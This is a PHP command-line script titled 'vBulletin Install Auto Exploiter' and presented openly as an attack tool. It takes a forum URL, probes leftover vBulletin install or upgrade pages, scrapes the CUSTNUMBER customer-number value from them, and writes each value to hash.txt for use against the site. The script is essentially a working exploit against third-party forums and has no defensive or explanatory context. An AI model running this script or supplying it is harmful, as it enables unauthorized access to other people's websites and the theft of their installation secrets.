title vBulletin Install Auto Exploiter

<?php
set_time_limit(0);


if($argc < 2) {
    echo "Usage: {$argv[0]} http://site.ru/forum" . PHP_EOL;
    exit;
}


$URL = $argv[1];
$arr = parse_url($URL);


### work with url
if(strpos($URL, '?')) die("Ohh, your URL is not valid");
if(substr($URL, -1, 1) != '/') $URL = $URL . '/';
if(!$arr['scheme']) $URL = 'http://' . $URL;


$headers = get_headers($URL . '/install/upgrade.php');
if(substr($headers[0], 9, 3) == '200') {
    $source = file_get_contents($URL . "/install/upgrade.php");
}
elseif($headers = get_headers($URL . '/install/finalupgrage.php')) {
    if(substr($headers[0], 9, 3) == '200') $source = file_get_contents($URL . "/install/finalupgrage.php");
}
else die("something went wrong...");


preg_match_all('|var CUSTNUMBER = "(.*?)";|', $source, $res);
foreach ($res[1] as $hash) {
    echo "Hash: " . $hash . PHP_EOL;
    $fp = fopen("hash.txt", "a+");
    fwrite($fp, $hash . PHP_EOL);
}
?>